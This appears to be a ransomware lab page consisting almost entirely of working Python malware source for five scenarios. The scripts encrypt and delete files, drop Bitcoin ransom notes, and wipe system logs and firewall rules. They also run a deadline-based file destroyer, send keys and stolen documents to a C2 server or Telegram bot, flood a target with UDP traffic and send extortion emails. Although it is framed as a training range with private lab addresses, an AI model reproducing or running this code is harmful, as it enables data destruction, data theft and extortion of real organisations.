Ransomware Lab 2026 : 5 scénarios complets – Triple extorsion, LOTL, exfiltration

#!/usr/bin/env python3
# ransomware_bluff.py
import os
import sys
import time
import logging
import datetime
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

CONFIG = {
    'TARGET_DIRS': ['/var/www/html/wordpress', '/home/ubuntu'],
    'EXTENSIONS': ('.txt', '.pdf', '.jpg', '.png', '.docx', '.xlsx'),
    'KEY_FILE': '/tmp/ransomware.key',
    'NOTE_FILE': 'README.txt',
    'INFECTED_FLAG': '/tmp/ransomware_infected.flag',
    'LOG_FILE': '/tmp/ransomware_bluff.log'
}

logging.basicConfig(filename=CONFIG['LOG_FILE'], level=logging.INFO,
                    format='%(asctime)s - %(levelname)s - %(message)s')

def generate_key():
    return os.urandom(32)

def save_key(key):
    with open(CONFIG['KEY_FILE'], 'wb') as f:
        f.write(key)
    os.chmod(CONFIG['KEY_FILE'], 0o400)
    logging.info("Clé de déchiffrement sauvegardée.")

def load_key():
    with open(CONFIG['KEY_FILE'], 'rb') as f:
        return f.read()

def encrypt_file(filepath, key):
    iv = os.urandom(16)
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    encryptor = cipher.encryptor()
    with open(filepath, 'rb') as f:
        plaintext = f.read()
    pad_len = 16 - (len(plaintext) % 16)
    plaintext += bytes([pad_len]) * pad_len
    ciphertext = encryptor.update(plaintext) + encryptor.finalize()
    encrypted_path = filepath + '.encrypted'
    with open(encrypted_path, 'wb') as f:
        f.write(iv + ciphertext)
    os.remove(filepath)
    logging.info(f"Fichier chiffré : {filepath}")
    return encrypted_path

def decrypt_file(encrypted_path, key):
    with open(encrypted_path, 'rb') as f:
        data = f.read()
    iv = data[:16]
    ciphertext = data[16:]
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    decryptor = cipher.decryptor()
    plaintext_padded = decryptor.update(ciphertext) + decryptor.finalize()
    pad_len = plaintext_padded[-1]
    plaintext = plaintext_padded[:-pad_len]
    original_path = encrypted_path[:-10]  # enlever .encrypted
    with open(original_path, 'wb') as f:
        f.write(plaintext)
    os.remove(encrypted_path)
    logging.info(f"Fichier déchiffré : {original_path}")

def walk_and_encrypt():
    if os.path.exists(CONFIG['INFECTED_FLAG']):
        logging.warning("Déjà infecté, sortie.")
        return 0
    key = generate_key()
    save_key(key)
    encrypted_count = 0
    for target_dir in CONFIG['TARGET_DIRS']:
        if not os.path.exists(target_dir):
            continue
        for root, dirs, files in os.walk(target_dir):
            for file in files:
                if file.endswith(CONFIG['EXTENSIONS']):
                    fullpath = os.path.join(root, file)
                    try:
                        encrypt_file(fullpath, key)
                        encrypted_count += 1
                    except Exception as e:
                        logging.error(f"Erreur sur {fullpath}: {e}")
    open(CONFIG['INFECTED_FLAG'], 'w').close()
    # LOTL : désactiver le firewall (simulation)
    os.system("sudo iptables -P INPUT ACCEPT; sudo iptables -P FORWARD ACCEPT; sudo iptables -P OUTPUT ACCEPT; sudo iptables -F")
    logging.info("Pare-feu désactivé (simulation netsh).")
    return encrypted_count

def drop_note(encrypted_count):
    note = f"""
    🔐 Vos fichiers ont été chiffrés !
    {encrypted_count} documents sensibles sont maintenant inaccessibles.
    Ne vous inquiétez pas, ils seront automatiquement restaurés dans 24 heures.
    Aucun paiement n'est nécessaire.
    """
    for target_dir in CONFIG['TARGET_DIRS']:
        if os.path.exists(target_dir):
            try:
                with open(os.path.join(target_dir, CONFIG['NOTE_FILE']), 'w') as f:
                    f.write(note)
            except Exception as e:
                logging.error(f"Impossible d'écrire la note dans {target_dir}: {e}")

def schedule_decryption():
    """Programme le déchiffrement dans 24h via une tâche cron."""
    script_path = os.path.abspath(__file__)
    deadline = (datetime.datetime.now() + datetime.timedelta(hours=24)).timestamp()
    cron_cmd = f'(crontab -l 2>/dev/null; echo "0 * * * * [ $(date +%s) -ge {int(deadline)} ] && python3 {script_path} --decrypt && crontab -r") | crontab -'
    os.system(cron_cmd)
    logging.info("Déchiffrement programmé dans 24h.")

def decrypt_all():
    if not os.path.exists(CONFIG['KEY_FILE']):
        logging.error("Clé de déchiffrement introuvable.")
        return
    key = load_key()
    for target_dir in CONFIG['TARGET_DIRS']:
        if not os.path.exists(target_dir):
            continue
        for root, dirs, files in os.walk(target_dir):
            for file in files:
                if file.endswith('.encrypted'):
                    fullpath = os.path.join(root, file)
                    try:
                        decrypt_file(fullpath, key)
                    except Exception as e:
                        logging.error(f"Erreur déchiffrement {fullpath}: {e}")
    # Nettoyage
    os.remove(CONFIG['KEY_FILE'])
    for target_dir in CONFIG['TARGET_DIRS']:
        note_path = os.path.join(target_dir, CONFIG['NOTE_FILE'])
        if os.path.exists(note_path):
            os.remove(note_path)
    if os.path.exists(CONFIG['INFECTED_FLAG']):
        os.remove(CONFIG['INFECTED_FLAG'])
    logging.info("Déchiffrement terminé et nettoyage effectué.")

if __name__ == '__main__':
    if '--dry-run' in sys.argv:
        print("Mode dry-run : aucune action réelle.")
        sys.exit(0)
    if '--clean' in sys.argv:
        # Supprime tous les artefacts
        for target_dir in CONFIG['TARGET_DIRS']:
            for root, _, files in os.walk(target_dir):
                for f in files:
                    if f.endswith('.encrypted') or f == CONFIG['NOTE_FILE']:
                        os.remove(os.path.join(root, f))
        for f in [CONFIG['KEY_FILE'], CONFIG['INFECTED_FLAG'], CONFIG['LOG_FILE']]:
            if os.path.exists(f):
                os.remove(f)
        print("Nettoyage terminé.")
        sys.exit(0)
    if '--decrypt' in sys.argv:
        decrypt_all()
    else:
        count = walk_and_encrypt()
        if count > 0:
            drop_note(count)
            schedule_decryption()
        else:
            print("Aucun fichier cible trouvé ou déjà infecté.")

#!/usr/bin/env python3
# ransomware_destructeur.py
import os
import sys
import time
import logging
import datetime
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

CONFIG = {
    'TARGET_DIRS': ['/var/www/html/site'],
    'EXTENSIONS': ('.txt', '.jpg', '.pdf'),
    'KEY_FILE': '/root/.ransomware.key',
    'PAYMENT_FLAG': '/tmp/payment_received',
    'DEADLINE_FILE': '/tmp/destruct_deadline.txt',
    'INFECTED_FLAG': '/tmp/destruct_infected.flag',
    'LOG_FILE': '/tmp/ransomware_destruct.log',
    'DESTROY_LOG': '/tmp/destruct_log.txt'
}

logging.basicConfig(filename=CONFIG['LOG_FILE'], level=logging.INFO,
                    format='%(asctime)s - %(levelname)s - %(message)s')

def generate_key(): return os.urandom(32)
def save_key(key):
    with open(CONFIG['KEY_FILE'], 'wb') as f: f.write(key)
    os.chmod(CONFIG['KEY_FILE'], 0o400)
def load_key():
    with open(CONFIG['KEY_FILE'], 'rb') as f: return f.read()

def encrypt_file(filepath, key):
    iv = os.urandom(16)
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    encryptor = cipher.encryptor()
    with open(filepath, 'rb') as f:
        plaintext = f.read()
    pad_len = 16 - (len(plaintext) % 16)
    plaintext += bytes([pad_len]) * pad_len
    ciphertext = encryptor.update(plaintext) + encryptor.finalize()
    encrypted_path = filepath + '.encrypted'
    with open(encrypted_path, 'wb') as f:
        f.write(iv + ciphertext)
    os.remove(filepath)
    logging.info(f"Chiffré : {filepath}")
    return encrypted_path

def decrypt_file(encrypted_path, key):
    with open(encrypted_path, 'rb') as f:
        data = f.read()
    iv = data[:16]
    ciphertext = data[16:]
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    decryptor = cipher.decryptor()
    plaintext_padded = decryptor.update(ciphertext) + decryptor.finalize()
    pad_len = plaintext_padded[-1]
    plaintext = plaintext_padded[:-pad_len]
    original_path = encrypted_path[:-10]
    with open(original_path, 'wb') as f:
        f.write(plaintext)
    os.remove(encrypted_path)
    logging.info(f"Déchiffré : {original_path}")

def walk_and_encrypt():
    if os.path.exists(CONFIG['INFECTED_FLAG']):
        logging.warning("Déjà infecté")
        return 0
    key = generate_key()
    save_key(key)
    encrypted_count = 0
    for target_dir in CONFIG['TARGET_DIRS']:
        if not os.path.exists(target_dir):
            continue
        for root, dirs, files in os.walk(target_dir):
            for file in files:
                if file.endswith(CONFIG['EXTENSIONS']):
                    fullpath = os.path.join(root, file)
                    try:
                        encrypt_file(fullpath, key)
                        encrypted_count += 1
                    except Exception as e:
                        logging.error(f"Erreur {fullpath}: {e}")
    # Enregistrer le timestamp de début pour le moniteur
    with open(CONFIG['DEADLINE_FILE'], 'w') as f:
        f.write(str(time.time() + 24*3600))
    open(CONFIG['INFECTED_FLAG'], 'w').close()
    # LOTL : effacer les logs système
    os.system("sudo rm -rf /var/log/*")
    logging.info("Logs système effacés (simulation wevtutil).")
    logging.info(f"Chiffré {encrypted_count} fichiers.")
    return encrypted_count

def drop_note(encrypted_count):
    note = f"""
    🔐 Vos documents ont été chiffrés !
    {encrypted_count} fichiers sont concernés.
    Pour les récupérer, envoyez 1 Bitcoin à l'adresse suivante : bc1q...
    Ensuite, créez un fichier vide nommé 'payment_received' dans /tmp/.
    Vous avez 24 heures. Passé ce délai, vos fichiers seront définitivement perdus.
    """
    for target_dir in CONFIG['TARGET_DIRS']:
        try:
            with open(os.path.join(target_dir, 'README.txt'), 'w') as f:
                f.write(note)
        except:
            pass

def schedule_monitor():
    """Programme un cron pour exécuter le moniteur toutes les 5 minutes."""
    monitor_script = os.path.join(os.path.dirname(__file__), 'monitor_destructeur.py')
    cron_cmd = f'(crontab -l 2>/dev/null; echo "*/5 * * * * python3 {monitor_script}") | crontab -'
    os.system(cron_cmd)
    logging.info("Moniteur programmé toutes les 5 minutes.")

if __name__ == '__main__':
    if '--dry-run' in sys.argv:
        print("Dry-run")
        sys.exit(0)
    if '--clean' in sys.argv:
        for target_dir in CONFIG['TARGET_DIRS']:
            for root, _, files in os.walk(target_dir):
                for f in files:
                    if f.endswith('.encrypted') or f == 'README.txt':
                        os.remove(os.path.join(root, f))
        for f in [CONFIG['KEY_FILE'], CONFIG['INFECTED_FLAG'], CONFIG['DEADLINE_FILE'], CONFIG['LOG_FILE']]:
            if os.path.exists(f):
                os.remove(f)
        os.system('crontab -r 2>/dev/null')
        print("Nettoyé.")
        sys.exit(0)
    if '--status' in sys.argv and os.path.exists(CONFIG['DEADLINE_FILE']):
        with open(CONFIG['DEADLINE_FILE'], 'r') as f:
            deadline = float(f.read().strip())
        remaining = deadline - time.time()
        if remaining > 0:
            print(f"Temps restant : {int(remaining // 3600)}h {int((remaining % 3600)//60)}min")
        else:
            print("Délai expiré.")
        sys.exit(0)
    count = walk_and_encrypt()
    if count > 0:
        drop_note(count)
        schedule_monitor()
    else:
        print("Aucun fichier ou déjà infecté.")

#!/usr/bin/env python3
# monitor_destructeur.py
import os
import time
import logging

CONFIG = {
    'KEY_FILE': '/root/.ransomware.key',
    'PAYMENT_FLAG': '/tmp/payment_received',
    'DEADLINE_FILE': '/tmp/destruct_deadline.txt',
    'TARGET_DIRS': ['/var/www/html/site'],
    'DESTROY_LOG': '/tmp/destruct_log.txt',
    'LOG_FILE': '/tmp/monitor_destruct.log'
}

logging.basicConfig(filename=CONFIG['LOG_FILE'], level=logging.INFO,
                    format='%(asctime)s - %(levelname)s - %(message)s')

def decrypt_all():
    script_dir = os.path.dirname(__file__)
    os.system(f'python3 {script_dir}/ransomware_destructeur.py --decrypt')

def destroy_all():
    with open(CONFIG['DESTROY_LOG'], 'w') as log:
        log.write("Fichiers définitivement supprimés :\n")
        for target_dir in CONFIG['TARGET_DIRS']:
            for root, _, files in os.walk(target_dir):
                for file in files:
                    if file.endswith('.encrypted'):
                        fullpath = os.path.join(root, file)
                        try:
                            os.remove(fullpath)
                            log.write(f"{fullpath}\n")
                        except Exception as e:
                            logging.error(f"Erreur suppression {fullpath}: {e}")
    if os.path.exists(CONFIG['KEY_FILE']):
        os.remove(CONFIG['KEY_FILE'])
    os.system('crontab -r 2>/dev/null')
    logging.info("Destruction terminée.")

if __name__ == '__main__':
    if not os.path.exists(CONFIG['DEADLINE_FILE']):
        sys.exit(0)
    with open(CONFIG['DEADLINE_FILE'], 'r') as f:
        deadline = float(f.read().strip())
    if time.time() > deadline:
        destroy_all()
        os.remove(CONFIG['DEADLINE_FILE'])
    elif os.path.exists(CONFIG['PAYMENT_FLAG']):
        decrypt_all()
        os.remove(CONFIG['PAYMENT_FLAG'])
        os.remove(CONFIG['DEADLINE_FILE'])
        os.system('crontab -r 2>/dev/null')

#!/usr/bin/env python3
# ransomware_commerce_rsa.py
import os
import sys
import requests
import base64
import json
import logging
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.backends import default_backend

CONFIG = {
    'C2_URL': 'http://192.168.100.30/c2',
    'TARGET_DIRS': ['/var/www/html/wordpress'],
    'EXTENSIONS': ('.txt', '.pdf', '.jpg', '.png', '.docx'),
    'PUBLIC_KEY_PATH': '/tmp/public.pem',
    'VICTIM_ID_FILE': '/tmp/victim_id.txt',
    'INFECTED_FLAG': '/tmp/commerce_infected.flag',
    'LOG_FILE': '/tmp/ransomware_commerce.log'
}

logging.basicConfig(filename=CONFIG['LOG_FILE'], level=logging.INFO,
                    format='%(asctime)s - %(levelname)s - %(message)s')

def fetch_public_key():
    try:
        resp = requests.get(f"{CONFIG['C2_URL']}/public.pem", timeout=5)
        if resp.status_code == 200:
            with open(CONFIG['PUBLIC_KEY_PATH'], 'wb') as f:
                f.write(resp.content)
            logging.info("Clé publique récupérée.")
            return True
        else:
            logging.error(f"Erreur récupération clé publique: {resp.status_code}")
            return False
    except Exception as e:
        logging.error(f"Erreur réseau: {e}")
        return False

def get_victim_id():
    if os.path.exists(CONFIG['VICTIM_ID_FILE']):
        with open(CONFIG['VICTIM_ID_FILE'], 'r') as f:
            return f.read().strip()
    else:
        victim_id = base64.b64encode(os.urandom(12)).decode()[:16]
        with open(CONFIG['VICTIM_ID_FILE'], 'w') as f:
            f.write(victim_id)
        return victim_id

def encrypt_file(filepath, file_key):
    iv = os.urandom(16)
    cipher = Cipher(algorithms.AES(file_key), modes.CBC(iv), backend=default_backend())
    encryptor = cipher.encryptor()
    with open(filepath, 'rb') as f:
        plaintext = f.read()
    pad_len = 16 - (len(plaintext) % 16)
    plaintext += bytes([pad_len]) * pad_len
    ciphertext = encryptor.update(plaintext) + encryptor.finalize()
    encrypted_path = filepath + '.encrypted'
    with open(encrypted_path, 'wb') as f:
        f.write(iv + ciphertext)
    os.remove(filepath)
    logging.info(f"Chiffré: {filepath}")
    return encrypted_path

def walk_and_encrypt():
    if os.path.exists(CONFIG['INFECTED_FLAG']):
        logging.warning("Déjà infecté")
        return 0, None

    if not fetch_public_key():
        sys.exit(1)

    with open(CONFIG['PUBLIC_KEY_PATH'], 'rb') as f:
        public_key = serialization.load_pem_public_key(f.read(), backend=default_backend())

    victim_id = get_victim_id()
    master_id = os.urandom(16).hex()
    encrypted_count = 0

    for target_dir in CONFIG['TARGET_DIRS']:
        if not os.path.exists(target_dir):
            continue
        for root, dirs, files in os.walk(target_dir):
            for file in files:
                if file.endswith(CONFIG['EXTENSIONS']):
                    fullpath = os.path.join(root, file)
                    file_key = os.urandom(32)
                    try:
                        encrypt_file(fullpath, file_key)
                        encrypted_count += 1
                        encrypted_key = public_key.encrypt(
                            file_key,
                            padding.OAEP(
                                mgf=padding.MGF1(algorithm=hashes.SHA256()),
                                algorithm=hashes.SHA256(),
                                label=None
                            )
                        )
                        data = {
                            'victim_id': victim_id,
                            'master_id': master_id,
                            'file': os.path.basename(file),
                            'encrypted_key': base64.b64encode(encrypted_key).decode()
                        }
                        requests.post(f"{CONFIG['C2_URL']}/store_key_rsa.php", json=data, timeout=2)
                    except Exception as e:
                        logging.error(f"Erreur sur {fullpath}: {e}")

    open(CONFIG['INFECTED_FLAG'], 'w').close()
    return encrypted_count, master_id

def drop_note(encrypted_count, master_id):
    note = f"""
    🔐 Vos fichiers ont été chiffrés !
    {encrypted_count} fichiers sont inaccessibles.
    Pour les récupérer, rendez-vous sur {CONFIG['C2_URL']}/pay.php
    et entrez votre identifiant de transaction : {master_id}
    Après paiement, vous recevrez un outil de déchiffrement.
    """
    for target_dir in CONFIG['TARGET_DIRS']:
        try:
            with open(os.path.join(target_dir, 'README.txt'), 'w') as f:
                f.write(note)
        except:
            pass

if __name__ == '__main__':
    if '--dry-run' in sys.argv:
        print("Dry-run")
        sys.exit(0)
    if '--clean' in sys.argv:
        for target_dir in CONFIG['TARGET_DIRS']:
            for root, _, files in os.walk(target_dir):
                for f in files:
                    if f.endswith('.encrypted') or f == 'README.txt':
                        os.remove(os.path.join(root, f))
        for f in [CONFIG['INFECTED_FLAG'], CONFIG['VICTIM_ID_FILE'], CONFIG['PUBLIC_KEY_PATH'], CONFIG['LOG_FILE']]:
            if os.path.exists(f):
                os.remove(f)
        print("Nettoyé.")
        sys.exit(0)
    count, mid = walk_and_encrypt()
    if count > 0:
        drop_note(count, mid)
        print(f"Infection réussie. ID: {mid}")
    else:
        print("Aucun fichier ou déjà infecté.")

#!/usr/bin/env python3
# ransomware_triple_extorsion.py
import os
import sys
import requests
import zipfile
import io
import time
import logging
import threading
import socket
import smtplib
from email.mime.text import MIMEText
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

CONFIG = {
    'C2_URL': 'http://192.168.100.30/c2',
    'TARGET_DIRS': ['/var/www/html/wordpress'],
    'EXTENSIONS': ('.docx', '.xlsx', '.pdf', '.txt', '.jpg'),
    'SENSITIVE_KEYWORDS': ['cv', 'contrat', 'confidentiel', 'salaire', 'budget', 'client'],
    'CHUNK_SIZE': 5,
    'KEY_FILE': '/tmp/ransomware.key',
    'INFECTED_FLAG': '/tmp/triple_infected.flag',
    'LOG_FILE': '/tmp/ransomware_triple.log'
}

logging.basicConfig(filename=CONFIG['LOG_FILE'], level=logging.INFO,
                    format='%(asctime)s - %(levelname)s - %(message)s')

def is_sensitive(filepath):
    name = os.path.basename(filepath).lower()
    if any(kw in name for kw in CONFIG['SENSITIVE_KEYWORDS']):
        return True
    try:
        if os.path.getsize(filepath) > 100000:
            with open(filepath, 'rb') as f:
                head = f.read(512)
                if b'%PDF' in head or b'Word' in head or b'xl' in head:
                    return True
    except:
        pass
    return False

def exfiltrate_files(file_list):
    for i in range(0, len(file_list), CONFIG['CHUNK_SIZE']):
        chunk = file_list[i:i+CONFIG['CHUNK_SIZE']]
        zip_buffer = io.BytesIO()
        with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
            for filepath in chunk:
                zf.write(filepath, arcname=os.path.basename(filepath))
        zip_buffer.seek(0)
        files = {'file': ('chunk.zip', zip_buffer, 'application/zip')}
        try:
            response = requests.post(f"{CONFIG['C2_URL']}/upload.php", files=files, timeout=5)
            if response.status_code == 200:
                logging.info(f"Lot {i//CONFIG['CHUNK_SIZE']+1} exfiltré.")
            else:
                logging.error(f"Erreur exfiltration: {response.status_code}")
        except Exception as e:
            logging.error(f"Erreur réseau: {e}")
        time.sleep(2)

def encrypt_file(filepath, key):
    iv = os.urandom(16)
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    encryptor = cipher.encryptor()
    with open(filepath, 'rb') as f:
        plaintext = f.read()
    pad_len = 16 - (len(plaintext) % 16)
    plaintext += bytes([pad_len]) * pad_len
    ciphertext = encryptor.update(plaintext) + encryptor.finalize()
    encrypted_path = filepath + '.encrypted'
    with open(encrypted_path, 'wb') as f:
        f.write(iv + ciphertext)
    os.remove(filepath)
    logging.info(f"Chiffré: {filepath}")

def simulate_ddos(target_ip, duration=30, requests_per_sec=50):
    """Simulation très légère de DDoS à des fins pédagogiques."""
    def flood():
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        bytes_data = b"GET / HTTP/1.1\r\nHost: {}\r\n\r\n".format(target_ip).encode()
        timeout = time.time() + duration
        while time.time() < timeout:
            try:
                sock.sendto(bytes_data, (target_ip, 80))
            except:
                pass
    for _ in range(requests_per_sec // 10):  # 10 threads = ~50 req/s
        t = threading.Thread(target=flood)
        t.daemon = True
        t.start()
    time.sleep(duration)
    logging.info(f"Simulation DDoS terminée vers {target_ip}")

def send_harassment_emails(sensitive_files):
    """Envoie des emails de harcèlement aux parties prenantes factices."""
    targets = ['contact@partenaire.fr', 'client@example.com']
    for target in targets:
        msg = MIMEText(f"Nous avons des données vous concernant: {sensitive_files[:2]}. Payez pour éviter la fuite.")
        msg['Subject'] = 'Urgent: données volées'
        msg['From'] = 'attacker@onion.com'
        msg['To'] = target
        try:
            # Utiliser un serveur SMTP factice (netcat listener ou null)
            s = smtplib.SMTP('192.168.100.30', 25)  # à adapter si vous avez un serveur SMTP
            s.send_message(msg)
            s.quit()
            logging.info(f"Email de harcèlement envoyé à {target}")
        except Exception as e:
            logging.error(f"SMTP failed: {e}")

def walk_and_infect():
    if os.path.exists(CONFIG['INFECTED_FLAG']):
        logging.warning("Déjà infecté")
        return 0, []

    sensitive_files = []
    all_files = []
    for target_dir in CONFIG['TARGET_DIRS']:
        if not os.path.exists(target_dir):
            continue
        for root, dirs, files in os.walk(target_dir):
            for file in files:
                if file.endswith(CONFIG['EXTENSIONS']):
                    fullpath = os.path.join(root, file)
                    all_files.append(fullpath)
                    if is_sensitive(fullpath):
                        sensitive_files.append(fullpath)

    if sensitive_files:
        exfiltrate_files(sensitive_files)
        # Lancer le DDoS vers le site principal (VM1)
        simulate_ddos('192.168.100.10')
        # Envoyer des emails de harcèlement
        send_harassment_emails(sensitive_files)

    key = os.urandom(32)
    for filepath in all_files:
        try:
            encrypt_file(filepath, key)
        except Exception as e:
            logging.error(f"Erreur chiffrement {filepath}: {e}")

    with open(CONFIG['KEY_FILE'], 'wb') as f:
        f.write(key)
    open(CONFIG['INFECTED_FLAG'], 'w').close()
    return len(all_files), sensitive_files

def drop_note(count, sensitive_files):
    publish_at = int(time.time()) + 48*3600
    note = f"""
    🔐 VOS FICHIERS SONT CHIFFRÉS ET VOS DONNÉES ONT ÉTÉ VOLÉES !
    {count} fichiers sont inaccessibles.
    De plus, nous avons exfiltré {len(sensitive_files)} documents sensibles.
    Preuve : visitez {CONFIG['C2_URL']}/leak/
    Nous avons également lancé une attaque DDoS contre votre site principal (simulée) et informé vos partenaires.
    Pour éviter la publication et récupérer vos fichiers, envoyez 1 Bitcoin à bc1q...
    Vous avez 48 heures. Les données seront publiées le {time.ctime(publish_at)}.
    """
    for target_dir in CONFIG['TARGET_DIRS']:
        try:
            with open(os.path.join(target_dir, 'README.txt'), 'w') as f:
                f.write(note)
        except:
            pass

if __name__ == '__main__':
    if '--dry-run' in sys.argv:
        print("Dry-run")
        sys.exit(0)
    if '--clean' in sys.argv:
        for target_dir in CONFIG['TARGET_DIRS']:
            for root, _, files in os.walk(target_dir):
                for f in files:
                    if f.endswith('.encrypted') or f == 'README.txt':
                        os.remove(os.path.join(root, f))
        for f in [CONFIG['KEY_FILE'], CONFIG['INFECTED_FLAG'], CONFIG['LOG_FILE']]:
            if os.path.exists(f):
                os.remove(f)
        print("Nettoyé.")
        sys.exit(0)
    total, sens = walk_and_infect()
    if total > 0:
        drop_note(total, sens)
        print(f"Infection terminée. {len(sens)} fichiers sensibles exfiltrés, DDoS simulé, emails envoyés.")
    else:
        print("Aucun fichier ou déjà infecté.")

#!/usr/bin/env python3
# ransomware_pure_extortion.py
import os
import sys
import requests
import zipfile
import io
import time
import logging
import glob

CONFIG = {
    'C2_URL': 'http://192.168.100.30/c2',
    'TARGET_DIRS': ['/var/www/html/wordpress', '/var/www/html/site'],
    'EXTENSIONS': ('.docx', '.xlsx', '.pdf', '.txt', '.jpg', '.sql'),
    'SENSITIVE_KEYWORDS': ['cv', 'contrat', 'confidentiel', 'salaire', 'budget', 'client', 'passwd', 'backup'],
    'CHUNK_SIZE': 5,
    'TELEGRAM_TOKEN': 'VOTRE_TOKEN',  # optionnel : utiliser Telegram
    'TELEGRAM_CHAT_ID': 'CHAT_ID',
    'INFECTED_FLAG': '/tmp/pure_extortion.flag',
    'LOG_FILE': '/tmp/pure_extortion.log'
}

logging.basicConfig(filename=CONFIG['LOG_FILE'], level=logging.INFO,
                    format='%(asctime)s - %(levelname)s - %(message)s')

def is_sensitive(filepath):
    name = os.path.basename(filepath).lower()
    if any(kw in name for kw in CONFIG['SENSITIVE_KEYWORDS']):
        return True
    # Détection basique de fichiers contenant des mots-clés sensibles
    try:
        if os.path.getsize(filepath) < 500000:
            with open(filepath, 'rb') as f:
                content = f.read().lower()
                if b'password' in content or b'confidential' in content:
                    return True
    except:
        pass
    return False

def exfiltrate_via_telegram(file_list):
    """Exfiltration via bot Telegram (très utilisé en 2026)"""
    for i in range(0, len(file_list), CONFIG['CHUNK_SIZE']):
        chunk = file_list[i:i+CONFIG['CHUNK_SIZE']]
        zip_buffer = io.BytesIO()
        with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
            for filepath in chunk:
                zf.write(filepath, arcname=os.path.basename(filepath))
        zip_buffer.seek(0)
        files = {'document': ('chunk.zip', zip_buffer, 'application/zip')}
        url = f"https://api.telegram.org/bot{CONFIG['TELEGRAM_TOKEN']}/sendDocument"
        data = {'chat_id': CONFIG['TELEGRAM_CHAT_ID']}
        try:
            response = requests.post(url, data=data, files=files, timeout=10)
            if response.status_code == 200:
                logging.info(f"Lot {i//CONFIG['CHUNK_SIZE']+1} exfiltré via Telegram.")
            else:
                logging.error(f"Telegram error: {response.status_code}")
        except Exception as e:
            logging.error(f"Telegram network error: {e}")
        time.sleep(2)

def exfiltrate_via_http(file_list):
    """Méthode HTTP classique (upload.php)"""
    for i in range(0, len(file_list), CONFIG['CHUNK_SIZE']):
        chunk = file_list[i:i+CONFIG['CHUNK_SIZE']]
        zip_buffer = io.BytesIO()
        with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
            for filepath in chunk:
                zf.write(filepath, arcname=os.path.basename(filepath))
        zip_buffer.seek(0)
        files = {'file': ('chunk.zip', zip_buffer, 'application/zip')}
        try:
            response = requests.post(f"{CONFIG['C2_URL']}/upload.php", files=files, timeout=5)
            if response.status_code == 200:
                logging.info(f"Lot {i//CONFIG['CHUNK_SIZE']+1} exfiltré via HTTP.")
            else:
                logging.error(f"HTTP upload error: {response.status_code}")
        except Exception as e:
            logging.error(f"HTTP network error: {e}")
        time.sleep(2)

def walk_and_exfiltrate():
    if os.path.exists(CONFIG['INFECTED_FLAG']):
        logging.warning("Déjà infecté")
        return 0

    sensitive_files = []
    for target_dir in CONFIG['TARGET_DIRS']:
        if not os.path.exists(target_dir):
            continue
        for root, dirs, files in os.walk(target_dir):
            for file in files:
                if file.endswith(CONFIG['EXTENSIONS']):
                    fullpath = os.path.join(root, file)
                    if is_sensitive(fullpath):
                        sensitive_files.append(fullpath)

    if not sensitive_files:
        logging.info("Aucun fichier sensible trouvé.")
        return 0

    # Exfiltration par défaut via HTTP
    exfiltrate_via_http(sensitive_files)
    # Option Telegram commentée (activer si vous avez un token)
    # exfiltrate_via_telegram(sensitive_files)

    open(CONFIG['INFECTED_FLAG'], 'w').close()
    return len(sensitive_files)

def drop_note(count):
    # Timer de publication (48h)
    publish_at = int(time.time()) + 48*3600
    note = f"""
    🔐 DONNÉES VOLÉES – AUCUN CHIFFREMENT
    Nous avons exfiltré {count} documents sensibles (contrats, budgets, données clients).
    Preuve : visitez {CONFIG['C2_URL']}/leak/ (mot de passe: proof)
    Pour éviter la publication et la revente de vos données, envoyez 1 Bitcoin à bc1q...
    Vous avez 48 heures. Les données seront publiées le {time.ctime(publish_at)}.
    """
    for target_dir in CONFIG['TARGET_DIRS']:
        try:
            with open(os.path.join(target_dir, 'README.txt'), 'w') as f:
                f.write(note)
        except:
            pass

if __name__ == '__main__':
    if '--dry-run' in sys.argv:
        print("Dry-run")
        sys.exit(0)
    if '--clean' in sys.argv:
        for target_dir in CONFIG['TARGET_DIRS']:
            for root, _, files in os.walk(target_dir):
                for f in files:
                    if f == 'README.txt':
                        os.remove(os.path.join(root, f))
        for f in [CONFIG['INFECTED_FLAG'], CONFIG['LOG_FILE']]:
            if os.path.exists(f):
                os.remove(f)
        print("Nettoyé.")
        sys.exit(0)
    total = walk_and_exfiltrate()
    if total > 0:
        drop_note(total)
        print(f"Exfiltration terminée. {total} fichiers sensibles envoyés.")
    else:
        print("Aucun fichier sensible ou déjà infecté.")